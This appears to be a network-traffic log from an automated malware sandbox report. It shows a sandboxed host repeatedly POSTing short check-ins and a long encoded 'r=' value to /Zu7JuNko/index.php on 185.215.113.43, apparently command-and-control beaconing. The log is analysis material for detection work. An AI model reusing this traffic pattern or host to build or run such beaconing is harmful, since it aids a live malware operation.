Dec 19, 2024 08:13:02.649996042 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:13:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	50254	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:13:04.392297983 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:13:05.723901033 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:13:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	50255	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:13:07.416380882 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:13:08.754507065 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:13:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	50256	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:13:10.498362064 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:13:11.852217913 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:13:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	50257	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:13:13.519494057 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:13:15.567300081 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:13:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	50258	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:13:17.306912899 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	50259	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:13:19.062645912 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:13:20.410819054 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:13:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	50260	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:13:22.161672115 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:13:23.503850937 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:13:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	50261	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:13:25.147730112 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:13:26.484812975 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:13:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	50262	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:13:28.233506918 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:13:29.574387074 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:13:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	50264	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:13:31.202348948 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:13:32.564676046 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:13:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	50265	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:13:34.309524059 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	50266	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:13:36.067369938 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:13:37.488230944 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:13:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	50267	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:13:39.232927084 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:13:40.624560118 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:13:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	50268	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:13:42.258130074 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:13:43.615052938 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:13:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	50269	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:13:45.367657900 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:13:46.698318958 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:13:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	50270	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:13:48.331259012 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:13:51.960402012 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:13:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	50271	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:13:53.723099947 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:13:55.143757105 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:13:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	50272	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:13:56.788769007 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:13:58.144062996 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:13:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	50273	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:13:59.883517981 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:14:01.226073027 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:14:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	50274	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:14:02.940097094 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:14:06.112970114 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:14:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	50276	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:14:07.885436058 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:14:09.207026958 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:14:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	50277	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:14:10.850584030 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:14:12.204144955 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:14:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	50278	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:14:13.964613914 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:14:15.308543921 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:14:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	50279	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:14:16.958327055 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:14:18.334515095 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:14:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	50286	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:14:20.075047016 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:14:21.415904999 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:14:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	50291	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
